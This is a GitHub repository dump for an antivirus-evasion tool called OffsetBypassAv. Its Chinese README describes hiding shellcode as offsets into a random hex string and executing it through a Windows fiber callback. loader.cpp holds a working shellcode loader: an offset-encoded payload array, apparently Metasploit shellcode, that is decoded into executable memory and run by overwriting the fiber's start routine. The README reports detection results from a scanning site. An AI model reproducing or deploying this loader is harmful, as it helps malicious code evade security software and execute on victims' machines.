├── BypassAv2
    ├── OffsetClac
    │   ├── offestcalc.cpp
    │   ├── OffsetClac.vcxproj.user
    │   ├── OffsetClac.vcxproj.filters
    │   └── OffsetClac.vcxproj
    ├── Loader
    │   ├── Loader.vcxproj.user
    │   ├── Loader.vcxproj.filters
    │   ├── loader.cpp
    │   └── Loader.vcxproj
    └── BypassAv2.sln
└── README.md


/BypassAv2/OffsetClac/offestcalc.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rixoye/OffsetBypassAv/HEAD/BypassAv2/OffsetClac/offestcalc.cpp


--------------------------------------------------------------------------------
/BypassAv2/Loader/Loader.vcxproj.user:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="utf-8"?>
2 | <Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3 |   <PropertyGroup />
4 | </Project>


--------------------------------------------------------------------------------
/BypassAv2/OffsetClac/OffsetClac.vcxproj.user:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="utf-8"?>
2 | <Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3 |   <PropertyGroup />
4 | </Project>


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # OffsetBypassAv
 2 | 
 3 | 
 4 | ### 免杀思路
 5 | 随机找一个包含`0-f`的字符串，将shellcode用该字符串的偏移量进行解析，输出偏移量数组。
 6 | 
 7 | 实际加载时再从该随机字符串中提取对应的字符拼接，形成shellcode后再执行。
 8 | 
 9 | ### 部分代码讲述
10 | OffsetClac文件夹下是计算偏移的代码，shellcode和随机字符串自个替换就可以使用了，计算偏移过程中，只要注意一下，16进制和ASCII码字符的转换就好了。
11 | 
12 | Loader文件夹下是一个shellcode加载器，在shellcode的加载器中，我使用了Windows系统回调函数触发shellcode的方式，代码中仅写了x64下的，x86下的要自个重新计算CreateFiber函数的回调函数偏移量。
13 | 
14 | ### 实际免杀效果
15 | 由于没有去做反沙箱的手段，所以沙箱运行的内存识别还是发现了msf的shellcode特征。
16 | url：https://www.virscan.org/report/afaaee5837f656499f91cd37fca8fa78a597df1ff66bcc716282c982fb6d268d
17 | <img width="1172" alt="image" src="https://user-images.githubusercontent.com/109727407/183383226-fc31288b-aa93-4d40-93fc-d604fff6aaf0.png">
18 | 
19 | 
20 | ### 代码
21 | https://github.com/rixoye/OffsetBypassAv
22 | 


--------------------------------------------------------------------------------
/BypassAv2/Loader/Loader.vcxproj.filters:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 3 |   <ItemGroup>
 4 |     <Filter Include="源文件">
 5 |       <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
 6 |       <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
 7 |     </Filter>
 8 |     <Filter Include="头文件">
 9 |       <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10 |       <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
11 |     </Filter>
12 |     <Filter Include="资源文件">
13 |       <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14 |       <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15 |     </Filter>
16 |   </ItemGroup>
17 |   <ItemGroup>
18 |     <ClCompile Include="loader.cpp">
19 |       <Filter>源文件</Filter>
20 |     </ClCompile>
21 |   </ItemGroup>
22 | </Project>


--------------------------------------------------------------------------------
/BypassAv2/OffsetClac/OffsetClac.vcxproj.filters:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 3 |   <ItemGroup>
 4 |     <Filter Include="源文件">
 5 |       <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
 6 |       <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
 7 |     </Filter>
 8 |     <Filter Include="头文件">
 9 |       <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10 |       <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
11 |     </Filter>
12 |     <Filter Include="资源文件">
13 |       <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14 |       <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15 |     </Filter>
16 |   </ItemGroup>
17 |   <ItemGroup>
18 |     <ClCompile Include="offestcalc.cpp">
19 |       <Filter>源文件</Filter>
20 |     </ClCompile>
21 |   </ItemGroup>
22 | </Project>


--------------------------------------------------------------------------------
/BypassAv2/BypassAv2.sln:
--------------------------------------------------------------------------------
 1 | 
 2 | Microsoft Visual Studio Solution File, Format Version 12.00
 3 | # Visual Studio Version 16
 4 | VisualStudioVersion = 16.0.32126.315
 5 | MinimumVisualStudioVersion = 10.0.40219.1
 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "OffsetClac", "OffsetClac\OffsetClac.vcxproj", "{479EC10B-37D7-4335-AF11-9C469DC98198}"
 7 | EndProject
 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loader", "Loader\Loader.vcxproj", "{CD80CA90-7FDE-4BDA-8E51-C0948E793844}"
 9 | EndProject
10 | Global
11 | 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | 		Debug|x64 = Debug|x64
13 | 		Debug|x86 = Debug|x86
14 | 		Release|x64 = Release|x64
15 | 		Release|x86 = Release|x86
16 | 	EndGlobalSection
17 | 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | 		{479EC10B-37D7-4335-AF11-9C469DC98198}.Debug|x64.ActiveCfg = Debug|x64
19 | 		{479EC10B-37D7-4335-AF11-9C469DC98198}.Debug|x64.Build.0 = Debug|x64
20 | 		{479EC10B-37D7-4335-AF11-9C469DC98198}.Debug|x86.ActiveCfg = Debug|Win32
21 | 		{479EC10B-37D7-4335-AF11-9C469DC98198}.Debug|x86.Build.0 = Debug|Win32
22 | 		{479EC10B-37D7-4335-AF11-9C469DC98198}.Release|x64.ActiveCfg = Release|x64
23 | 		{479EC10B-37D7-4335-AF11-9C469DC98198}.Release|x64.Build.0 = Release|x64
24 | 		{479EC10B-37D7-4335-AF11-9C469DC98198}.Release|x86.ActiveCfg = Release|Win32
25 | 		{479EC10B-37D7-4335-AF11-9C469DC98198}.Release|x86.Build.0 = Release|Win32
26 | 		{CD80CA90-7FDE-4BDA-8E51-C0948E793844}.Debug|x64.ActiveCfg = Debug|x64
27 | 		{CD80CA90-7FDE-4BDA-8E51-C0948E793844}.Debug|x64.Build.0 = Debug|x64
28 | 		{CD80CA90-7FDE-4BDA-8E51-C0948E793844}.Debug|x86.ActiveCfg = Debug|Win32
29 | 		{CD80CA90-7FDE-4BDA-8E51-C0948E793844}.Debug|x86.Build.0 = Debug|Win32
30 | 		{CD80CA90-7FDE-4BDA-8E51-C0948E793844}.Release|x64.ActiveCfg = Release|x64
31 | 		{CD80CA90-7FDE-4BDA-8E51-C0948E793844}.Release|x64.Build.0 = Release|x64
32 | 		{CD80CA90-7FDE-4BDA-8E51-C0948E793844}.Release|x86.ActiveCfg = Release|Win32
33 | 		{CD80CA90-7FDE-4BDA-8E51-C0948E793844}.Release|x86.Build.0 = Release|Win32
34 | 	EndGlobalSection
35 | 	GlobalSection(SolutionProperties) = preSolution
36 | 		HideSolutionNode = FALSE
37 | 	EndGlobalSection
38 | 	GlobalSection(ExtensibilityGlobals) = postSolution
39 | 		SolutionGuid = {BBD688C1-579B-4707-A530-7EAB3221D5E7}
40 | 	EndGlobalSection
41 | EndGlobal
42 | 


--------------------------------------------------------------------------------
/BypassAv2/Loader/loader.cpp:
--------------------------------------------------------------------------------
 1 | #include <Windows.h>
 2 | #include <stdio.h>
 3 | //#define DEBUG
 4 | #ifdef DEBUG
 5 | #define TRACE() debugPrint(__FILE__,__LINE__)
 6 | #else
 7 | #define TRACE() 
 8 | #endif
 9 | void debugPrint(CONST CHAR* path, INT line) {
10 | #ifdef DEBUG
11 | 	printf("file:%s line:%d error:%d\n", path, line, GetLastError());
12 | #endif // DEBUG
13 | }
14 | 
15 | 
16 | unsigned int buf[] = {
17 |  9,10,11, 0, 0, 4,13,11, 9,15,13, 0,10,15,15,15,
18 | 15,15,15,15,11, 3, 6, 3,11, 3, 6,15, 6, 5, 6, 3,
19 |  6, 7,11, 0, 4, 3,14, 5, 7, 6,11, 0, 0, 8, 6, 5,
20 |  7,15,11, 0, 0, 8, 6, 5, 3, 0,11, 0, 0, 8, 6, 5,
21 |  5,15,11, 0, 0, 8, 1, 5, 6,15,11, 0,15, 9, 8, 1,
22 | 11, 2,11, 2,11,14, 4, 3,10,12,11, 0, 4, 3,10,15,
23 |  2,10, 4,10, 7, 3, 1,10,15, 5, 5,10, 5,15,11, 3,
24 | 10, 3,10,12,15,14,11, 3,15, 3,10, 3,13, 5,13,14,
25 |  6, 5,11, 3, 6, 3,11, 0, 0, 8, 6, 5, 5,15, 0, 8,
26 | 11, 5, 4,10,11, 0,15, 3,14,15, 0, 8, 0,15, 0, 0,
27 | 15,15,15,15,15,15,11, 0, 0, 6,10,15, 1,11, 7, 1,
28 | 11, 0,15, 3,14,15, 6,15, 0, 8,11, 0, 3, 0,11,11,
29 |  0, 8,11,15, 5,15,11,12,15, 3,14,15,13, 4, 6, 7,
30 | 11, 0, 9, 9,10,12,11, 3, 0, 8, 4,11, 0, 0,11, 0,
31 | 15, 3,14, 7,11,14, 4, 3,10,12,11, 0, 4, 3,10,15,
32 |  2,10,11, 3,10, 3,10,12,15,14,11, 3,15, 3,10, 3,
33 |  4, 0,13,15, 1, 6, 9, 3,11,10,15, 4,11,10, 5,11,
34 | 15, 0,11, 6, 4,12,14, 3, 1, 6,14, 0, 6, 0,11,11,
35 |  0, 8,11,15, 5,11,11,12,15, 3,14,15, 7, 7,11, 3,
36 |  0, 8,15,10,11, 0,11,11, 0, 8,11,15, 3,10,11,12,
37 | 15, 3,14,15,11, 3, 0, 8,15,11, 0, 0,11, 0,15, 3,
38 | 14,15,11, 3, 6, 0,11, 3, 6, 0, 6,13, 6,12, 6, 2,
39 | 11, 3, 6, 0,11, 3, 6,12,11, 3, 6, 2,11, 0, 0, 4,
40 | 13,10, 5,15,11, 3, 6, 5, 9, 9,13,15, 6, 0,11, 3,
41 |  6,12, 6, 2,11, 0, 0, 8, 3, 5,13,12, 6, 1, 9, 9,
42 |  9, 9, 9, 9, 6,14,11, 0, 8, 2,15, 3,15,15,15,15,
43 | 15,15,15,15,15,15,15,15,15,15,11, 0, 0,14, 0,14,
44 | 15, 3,15, 3,15,15,15,15,11, 3, 8, 2, 4, 3, 0, 8,
45 |  7, 9, 0, 1, 9, 9,14, 6, 8, 8, 9,15, 8, 6, 2, 5,
46 |  6, 7,11, 3, 8, 2, 2, 7,12, 6, 8,14,12,14, 9, 9,
47 | 14, 6,11, 0, 0, 4,10,11, 5, 0, 4,10,15, 7, 1,10,
48 | 15, 2, 0,15, 9, 8,13,15, 1, 6,15, 6, 8, 8,11, 1,
49 |  3, 4, 1, 5, 7, 9, 7, 2,15,15, 6,12,11, 3, 0,12,
50 | 14, 2, 9, 9,14, 6, 7, 4, 7, 3, 7,10, 7, 4, 5,13,
51 |  7, 6, 1, 0, 7, 6,15,15,15,15 };
52 | 
53 | char table[] = "87a13256bfc49ed0";
54 | 
55 | char itoh(int i) {
56 | 	char c = table[i];
57 | 
58 | 	if (c < 0x60) {
59 | 		c = c - 0x30;
60 | 	}
61 | 	else {
62 | 		c = c + 0x0a - 0x61;
63 | 	}
64 | 	return c;
65 | }
66 | 
67 | 
68 | void code(void *buf,unsigned int* off, int offlen) {
69 | 	int len = offlen / 2;
70 | 	char tmp = 0x00;
71 | 	for (int i = 0, j = 0; i < len && j < offlen; i++, j = 2 * i) {
72 | 		tmp = ((itoh(off[j]) << 4) & 0xf0) | (itoh(off[j + 1]) & 0x0f);
73 | 		((char*)buf)[i] = tmp;
74 | 	}
75 | }
76 | 
77 | 
78 | int main() {
79 | 
80 | 	ConvertThreadToFiber(NULL);
81 | 
82 | 	LPVOID lpFiber = CreateFiber(0x100, (LPFIBER_START_ROUTINE)debugPrint, NULL);
83 | 	LPVOID addr = VirtualAlloc(NULL, sizeof(buf)/4, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
84 | 	code(addr,buf, sizeof(buf)/4);
85 | 
86 | 	if (lpFiber == NULL) {
87 | 		TRACE();
88 | 		exit(0);
89 | 	}
90 | 
91 | 	uintptr_t* tgtFuncAddr = (uintptr_t*)((uintptr_t)lpFiber + 0xB0);
92 | 	*tgtFuncAddr = (uintptr_t)addr;
93 | 
94 | 	SwitchToFiber(lpFiber);
95 | }


--------------------------------------------------------------------------------
/BypassAv2/OffsetClac/OffsetClac.vcxproj:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  3 |   <ItemGroup Label="ProjectConfigurations">
  4 |     <ProjectConfiguration Include="Debug|Win32">
  5 |       <Configuration>Debug</Configuration>
  6 |       <Platform>Win32</Platform>
  7 |     </ProjectConfiguration>
  8 |     <ProjectConfiguration Include="Release|Win32">
  9 |       <Configuration>Release</Configuration>
 10 |       <Platform>Win32</Platform>
 11 |     </ProjectConfiguration>
 12 |     <ProjectConfiguration Include="Debug|x64">
 13 |       <Configuration>Debug</Configuration>
 14 |       <Platform>x64</Platform>
 15 |     </ProjectConfiguration>
 16 |     <ProjectConfiguration Include="Release|x64">
 17 |       <Configuration>Release</Configuration>
 18 |       <Platform>x64</Platform>
 19 |     </ProjectConfiguration>
 20 |   </ItemGroup>
 21 |   <PropertyGroup Label="Globals">
 22 |     <VCProjectVersion>16.0</VCProjectVersion>
 23 |     <Keyword>Win32Proj</Keyword>
 24 |     <ProjectGuid>{479ec10b-37d7-4335-af11-9c469dc98198}</ProjectGuid>
 25 |     <RootNamespace>OffsetClac</RootNamespace>
 26 |     <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
 27 |   </PropertyGroup>
 28 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
 29 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
 30 |     <ConfigurationType>Application</ConfigurationType>
 31 |     <UseDebugLibraries>true</UseDebugLibraries>
 32 |     <PlatformToolset>v142</PlatformToolset>
 33 |     <CharacterSet>Unicode</CharacterSet>
 34 |   </PropertyGroup>
 35 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
 36 |     <ConfigurationType>Application</ConfigurationType>
 37 |     <UseDebugLibraries>false</UseDebugLibraries>
 38 |     <PlatformToolset>v142</PlatformToolset>
 39 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 40 |     <CharacterSet>Unicode</CharacterSet>
 41 |   </PropertyGroup>
 42 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
 43 |     <ConfigurationType>Application</ConfigurationType>
 44 |     <UseDebugLibraries>true</UseDebugLibraries>
 45 |     <PlatformToolset>v142</PlatformToolset>
 46 |     <CharacterSet>Unicode</CharacterSet>
 47 |   </PropertyGroup>
 48 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
 49 |     <ConfigurationType>Application</ConfigurationType>
 50 |     <UseDebugLibraries>false</UseDebugLibraries>
 51 |     <PlatformToolset>v142</PlatformToolset>
 52 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 53 |     <CharacterSet>Unicode</CharacterSet>
 54 |   </PropertyGroup>
 55 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
 56 |   <ImportGroup Label="ExtensionSettings">
 57 |   </ImportGroup>
 58 |   <ImportGroup Label="Shared">
 59 |   </ImportGroup>
 60 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 61 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 62 |   </ImportGroup>
 63 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 64 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 65 |   </ImportGroup>
 66 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 67 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 68 |   </ImportGroup>
 69 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 70 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 71 |   </ImportGroup>
 72 |   <PropertyGroup Label="UserMacros" />
 73 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 74 |     <LinkIncremental>true</LinkIncremental>
 75 |   </PropertyGroup>
 76 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 77 |     <LinkIncremental>false</LinkIncremental>
 78 |   </PropertyGroup>
 79 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 80 |     <LinkIncremental>true</LinkIncremental>
 81 |   </PropertyGroup>
 82 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 83 |     <LinkIncremental>false</LinkIncremental>
 84 |   </PropertyGroup>
 85 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 86 |     <ClCompile>
 87 |       <WarningLevel>Level3</WarningLevel>
 88 |       <SDLCheck>true</SDLCheck>
 89 |       <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
 90 |       <ConformanceMode>true</ConformanceMode>
 91 |     </ClCompile>
 92 |     <Link>
 93 |       <SubSystem>Console</SubSystem>
 94 |       <GenerateDebugInformation>true</GenerateDebugInformation>
 95 |     </Link>
 96 |   </ItemDefinitionGroup>
 97 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 98 |     <ClCompile>
 99 |       <WarningLevel>Level3</WarningLevel>
100 |       <FunctionLevelLinking>true</FunctionLevelLinking>
101 |       <IntrinsicFunctions>true</IntrinsicFunctions>
102 |       <SDLCheck>true</SDLCheck>
103 |       <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
104 |       <ConformanceMode>true</ConformanceMode>
105 |     </ClCompile>
106 |     <Link>
107 |       <SubSystem>Console</SubSystem>
108 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
109 |       <OptimizeReferences>true</OptimizeReferences>
110 |       <GenerateDebugInformation>true</GenerateDebugInformation>
111 |     </Link>
112 |   </ItemDefinitionGroup>
113 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
114 |     <ClCompile>
115 |       <WarningLevel>Level3</WarningLevel>
116 |       <SDLCheck>false</SDLCheck>
117 |       <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
118 |       <ConformanceMode>false</ConformanceMode>
119 |       <LanguageStandard>Default</LanguageStandard>
120 |     </ClCompile>
121 |     <Link>
122 |       <SubSystem>Console</SubSystem>
123 |       <GenerateDebugInformation>true</GenerateDebugInformation>
124 |     </Link>
125 |   </ItemDefinitionGroup>
126 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
127 |     <ClCompile>
128 |       <WarningLevel>Level3</WarningLevel>
129 |       <FunctionLevelLinking>true</FunctionLevelLinking>
130 |       <IntrinsicFunctions>true</IntrinsicFunctions>
131 |       <SDLCheck>false</SDLCheck>
132 |       <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
133 |       <ConformanceMode>false</ConformanceMode>
134 |       <LanguageStandard>Default</LanguageStandard>
135 |     </ClCompile>
136 |     <Link>
137 |       <SubSystem>Console</SubSystem>
138 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
139 |       <OptimizeReferences>true</OptimizeReferences>
140 |       <GenerateDebugInformation>true</GenerateDebugInformation>
141 |     </Link>
142 |   </ItemDefinitionGroup>
143 |   <ItemGroup>
144 |     <ClCompile Include="offestcalc.cpp" />
145 |   </ItemGroup>
146 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
147 |   <ImportGroup Label="ExtensionTargets">
148 |   </ImportGroup>
149 | </Project>


--------------------------------------------------------------------------------
/BypassAv2/Loader/Loader.vcxproj:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  3 |   <ItemGroup Label="ProjectConfigurations">
  4 |     <ProjectConfiguration Include="Debug|Win32">
  5 |       <Configuration>Debug</Configuration>
  6 |       <Platform>Win32</Platform>
  7 |     </ProjectConfiguration>
  8 |     <ProjectConfiguration Include="Release|Win32">
  9 |       <Configuration>Release</Configuration>
 10 |       <Platform>Win32</Platform>
 11 |     </ProjectConfiguration>
 12 |     <ProjectConfiguration Include="Debug|x64">
 13 |       <Configuration>Debug</Configuration>
 14 |       <Platform>x64</Platform>
 15 |     </ProjectConfiguration>
 16 |     <ProjectConfiguration Include="Release|x64">
 17 |       <Configuration>Release</Configuration>
 18 |       <Platform>x64</Platform>
 19 |     </ProjectConfiguration>
 20 |   </ItemGroup>
 21 |   <PropertyGroup Label="Globals">
 22 |     <VCProjectVersion>16.0</VCProjectVersion>
 23 |     <Keyword>Win32Proj</Keyword>
 24 |     <ProjectGuid>{cd80ca90-7fde-4bda-8e51-c0948e793844}</ProjectGuid>
 25 |     <RootNamespace>Loader</RootNamespace>
 26 |     <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
 27 |   </PropertyGroup>
 28 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
 29 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
 30 |     <ConfigurationType>Application</ConfigurationType>
 31 |     <UseDebugLibraries>true</UseDebugLibraries>
 32 |     <PlatformToolset>v142</PlatformToolset>
 33 |     <CharacterSet>Unicode</CharacterSet>
 34 |   </PropertyGroup>
 35 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
 36 |     <ConfigurationType>Application</ConfigurationType>
 37 |     <UseDebugLibraries>false</UseDebugLibraries>
 38 |     <PlatformToolset>v142</PlatformToolset>
 39 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 40 |     <CharacterSet>Unicode</CharacterSet>
 41 |   </PropertyGroup>
 42 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
 43 |     <ConfigurationType>Application</ConfigurationType>
 44 |     <UseDebugLibraries>true</UseDebugLibraries>
 45 |     <PlatformToolset>v142</PlatformToolset>
 46 |     <CharacterSet>Unicode</CharacterSet>
 47 |   </PropertyGroup>
 48 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
 49 |     <ConfigurationType>Application</ConfigurationType>
 50 |     <UseDebugLibraries>false</UseDebugLibraries>
 51 |     <PlatformToolset>v142</PlatformToolset>
 52 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 53 |     <CharacterSet>Unicode</CharacterSet>
 54 |   </PropertyGroup>
 55 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
 56 |   <ImportGroup Label="ExtensionSettings">
 57 |   </ImportGroup>
 58 |   <ImportGroup Label="Shared">
 59 |   </ImportGroup>
 60 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 61 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 62 |   </ImportGroup>
 63 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 64 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 65 |   </ImportGroup>
 66 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 67 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 68 |   </ImportGroup>
 69 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 70 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 71 |   </ImportGroup>
 72 |   <PropertyGroup Label="UserMacros" />
 73 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 74 |     <LinkIncremental>true</LinkIncremental>
 75 |   </PropertyGroup>
 76 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 77 |     <LinkIncremental>false</LinkIncremental>
 78 |   </PropertyGroup>
 79 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 80 |     <LinkIncremental>true</LinkIncremental>
 81 |     <GenerateManifest>false</GenerateManifest>
 82 |   </PropertyGroup>
 83 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 84 |     <LinkIncremental>false</LinkIncremental>
 85 |     <GenerateManifest>false</GenerateManifest>
 86 |   </PropertyGroup>
 87 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 88 |     <ClCompile>
 89 |       <WarningLevel>Level3</WarningLevel>
 90 |       <SDLCheck>true</SDLCheck>
 91 |       <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
 92 |       <ConformanceMode>true</ConformanceMode>
 93 |     </ClCompile>
 94 |     <Link>
 95 |       <SubSystem>Console</SubSystem>
 96 |       <GenerateDebugInformation>true</GenerateDebugInformation>
 97 |     </Link>
 98 |   </ItemDefinitionGroup>
 99 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
100 |     <ClCompile>
101 |       <WarningLevel>Level3</WarningLevel>
102 |       <FunctionLevelLinking>true</FunctionLevelLinking>
103 |       <IntrinsicFunctions>true</IntrinsicFunctions>
104 |       <SDLCheck>true</SDLCheck>
105 |       <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
106 |       <ConformanceMode>true</ConformanceMode>
107 |     </ClCompile>
108 |     <Link>
109 |       <SubSystem>Console</SubSystem>
110 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
111 |       <OptimizeReferences>true</OptimizeReferences>
112 |       <GenerateDebugInformation>true</GenerateDebugInformation>
113 |     </Link>
114 |   </ItemDefinitionGroup>
115 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
116 |     <ClCompile>
117 |       <WarningLevel>Level3</WarningLevel>
118 |       <SDLCheck>false</SDLCheck>
119 |       <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
120 |       <ConformanceMode>true</ConformanceMode>
121 |       <MinimalRebuild>true</MinimalRebuild>
122 |       <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
123 |       <Optimization>MinSpace</Optimization>
124 |       <BasicRuntimeChecks>Default</BasicRuntimeChecks>
125 |     </ClCompile>
126 |     <Link>
127 |       <SubSystem>Console</SubSystem>
128 |       <GenerateDebugInformation>false</GenerateDebugInformation>
129 |       <AllowIsolation>false</AllowIsolation>
130 |     </Link>
131 |   </ItemDefinitionGroup>
132 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
133 |     <ClCompile>
134 |       <WarningLevel>Level3</WarningLevel>
135 |       <FunctionLevelLinking>false</FunctionLevelLinking>
136 |       <IntrinsicFunctions>false</IntrinsicFunctions>
137 |       <SDLCheck>false</SDLCheck>
